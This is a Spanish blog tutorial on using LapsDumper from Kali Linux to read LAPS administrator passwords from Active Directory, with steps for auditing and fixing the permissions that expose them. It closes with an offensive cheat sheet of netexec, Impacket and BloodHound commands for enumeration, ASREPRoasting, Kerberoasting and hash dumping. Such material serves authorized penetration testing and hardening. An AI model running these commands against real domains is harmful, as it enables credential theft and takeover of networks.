LapsDumper en Kali Linux

 

 https://www.onlinetis.com/es/

LapsDumper en Kali Linux

Entiendo que estás buscando información sobre cómo usar LapsDumper en Kali Linux. Esta es una herramienta muy específica y útil para auditorías de Active Directory.

Aquí tienes una guía rápida y clara sobre qué es y cómo ponerla en marcha.


¿Qué es LapsDumper?

Es una herramienta diseñada para extraer las contraseñas de administrador local almacenadas en Active Directory a través de LAPS (Local Administrator Password Solution).

Si el administrador del sistema no ha configurado correctamente los permisos de lectura de los atributos de LAPS, cualquier usuario con pocos privilegios (o un atacante que haya comprometido una cuenta) podría leer estas contraseñas en texto plano.

Requisitos previos

Antes de correr la herramienta, asegúrate de tener instaladas las dependencias de Impacket, que es el motor que suele usar LapsDumper para comunicarse con el protocolo LDAP.

Bash
pip3 install ldap3 impacket

Cómo usar LapsDumper en Kali Linux

Generalmente, el comando sigue esta estructura básica:

Bash
python3 lapsdumper.py -u 'usuario' -p 'contraseña' -d 'dominio.local' --dc-ip 'IP_DEL_DC'

Opciones comunes:

  • -u: Nombre del usuario con el que te vas a autenticar.

  • -p: Contraseña del usuario.

  • -d: El nombre del dominio (ej. miempresa.com).

  • --dc-ip: La dirección IP del Controlador de Dominio.

  • -o: (Opcional) Para exportar los resultados a un archivo.


¿Por qué funciona esto? (El concepto)

LAPS guarda la contraseña en un atributo de los objetos de computadora llamado ms-MCS-AdmPwd. Por defecto, solo los administradores deberían leerlo, pero a veces se heredan permisos incorrectos.

Nota de seguridad: Recuerda que el uso de estas herramientas debe realizarse siempre en entornos controlados o bajo una autorización explícita de auditoría (Pentesting ético). Acceder a credenciales sin permiso es ilegal.


Identificar quién puede leer esas contraseñas es el paso más importante para cerrar la brecha de seguridad. En un entorno de Active Directory, lo que buscamos son los permisos sobre el atributo ms-Mcs-AdmPwd.

Aquí tienes las formas más efectivas de verificarlo:


1. Usando PowerShell (Desde una máquina del dominio)

Si tienes acceso a una máquina del dominio con las herramientas de administración (RSAT), puedes usar el módulo de Active Directory para listar qué grupos tienen permisos extendidos:

PowerShell
# Reemplaza "NombreDelEquipo" por el nombre de un equipo específico
Get-Acl "AD:\CN=NombreDelEquipo,OU=Workstations,DC=dominio,DC=local" | 
Select-Object -ExpandProperty Access | 
Where-Object { $_.ObjectType -eq "Object-Guid-Del-Atributo" }

Nota: El GUID específico para el atributo de LAPS suele ser 46a9b40d-01f9-42d4-8d91-bc404684ff20.


2. Usando AdLightweight (Desde Kali Linux)

Si prefieres seguir en Kali, puedes usar herramientas como bloodyAD o scripts de impacket para consultar los descriptores de seguridad (ACLs). Sin embargo, una forma manual y muy reveladora con ldapsearch es buscar directamente quién tiene el valor lleno:

Bash
ldapsearch -x -h IP_DEL_DC -D "usuario@dominio.local" -W -b "dc=dominio,dc=local" "(ms-Mcs-AdmPwd=*)" ms-Mcs-AdmPwd
  • Si el comando devuelve contraseñas: El usuario que usaste tiene permisos de lectura.

  • Si el comando no devuelve nada: Ese usuario está correctamente restringido.


3. La forma visual: Consola de Usuarios y Equipos de AD

Si prefieres la interfaz gráfica en Windows:

  1. Ve a Ver -> Características avanzadas.

  2. Clic derecho en la Unidad Organizativa (OU) donde están los equipos -> Propiedades.

  3. Pestaña Seguridad -> Botón Opciones avanzadas.

  4. Busca grupos como Everyone, Authenticated Users o Domain Users.

  5. Si alguno de ellos tiene el permiso "Read ms-Mcs-AdmPwd", tienes un problema de seguridad grave.


¿Cómo solucionarlo?

La solución estándar es usar el script oficial de LAPS para quitar los permisos de lectura a los grupos que no deberían tenerlos:

PowerShell
Set-LapsReadRole -Identity "OU_de_Equipos" -AllowedPrincipals "Grupo_De_Admins_Seguros"


Aquí tienes una "hoja de trucos" (cheat sheet) con los comandos más esenciales que se utilizan desde Kali Linux para auditar un entorno de Active Directory.

He dividido los comandos según la fase de la auditoría, asumiendo que ya tienes una conexión de red con el Dominio.


1. Enumeración Inicial (Sin Credenciales)

Antes de tener un usuario, buscamos identificar el nombre del dominio, los controladores de dominio (DC) y posibles usuarios.

HerramientaComandoPropósito
Netexecnxc smb <IP_RED>/24Escaneo rápido para identificar hosts con SMB y el nombre del dominio.
Enum4linux-ngenum4linux-ng -A <IP_DC>Enumeración completa de shares, usuarios y políticas de contraseñas.
Nmapnmap -p 389 --script ldap-rootdse <IP_DC>Obtiene el nombre del dominio base vía LDAP.

2. Enumeración con Credenciales (Usuario Estándar)

Una vez que tienes un usuario (por ejemplo, obtenido por Phishing o Password Spraying), la visibilidad aumenta drásticamente.

Con Netexec (Antiguo CrackMapExec)

  • Listar Usuarios: nxc smb <IP_DC> -u 'user' -p 'pass' --users

  • Listar Grupos: nxc smb <IP_DC> -u 'user' -p 'pass' --groups

  • Ver Shares (Carpetas compartidas): nxc smb <IP_DC> -u 'user' -p 'pass' --shares

  • Buscar contraseñas de LAPS: nxc ldap <IP_DC> -u 'user' -p 'pass' --laps

Con Impacket

  • Enumerar todo vía RPC: impacket-rpcdump <dominio>/<user>:<pass>@<IP_DC>

  • Obtener el SID del dominio: impacket-lookupsid <dominio>/<user>:<pass>@<IP_DC>


3. Ataques de Movimiento Lateral y Privilegios

Aquí buscamos escalar de un usuario normal a Administrador del Dominio.

  • ASREPRoasting (Usuarios sin pre-autenticación):

    impacket-GetNPUsers <dominio>/ -usersfile usuarios.txt -format hashcat -outputfile hashes.asreproast

  • Kerberoasting (Servicios con SPN):

    impacket-GetUserSPNs <dominio>/<user>:<pass> -dc-ip <IP_DC> -request

  • SecretsDump (Dumping de hashes si eres Admin Local):

    impacket-secretsdump <dominio>/<admin_user>:<pass>@<IP_TARGET>


4. Análisis de Relaciones con BloodHound

Esta es la herramienta reina para visualizar caminos de ataque.

  1. Recolectar datos (Python Ingestor):

    bloodhound-python -u 'user' -p 'pass' -d 'dominio.local' -dc 'dc.dominio.local' -c All

  2. Subir los archivos JSON: Abre la interfaz de bloodhound y arrastra los archivos generados para ver los caminos más cortos hacia el "Domain Admin".


Resumen de puertos clave a vigilar:

  • 53: DNS (Localización de servicios).

  • 88: Kerberos (Autenticación).

  • 135: RPC (Enumeración).

  • 389 / 636: LDAP / LDAPS (Base de datos de AD).

  • 445: SMB (Transferencia de archivos y ejecución remota).

Tip Pro: Si estás en una auditoría real, usa siempre la opción -oN en Nmap o guarda los outputs de tus comandos en archivos de texto, ya que la cantidad de información en AD suele ser abrumadora.

Entradas populares de este blog

Hacking y ciberseguridad en kali linux con Fping

Hacking y ciberseguridad en kali linux con atk6-thcping6

Como utilizar Fierce en kali linux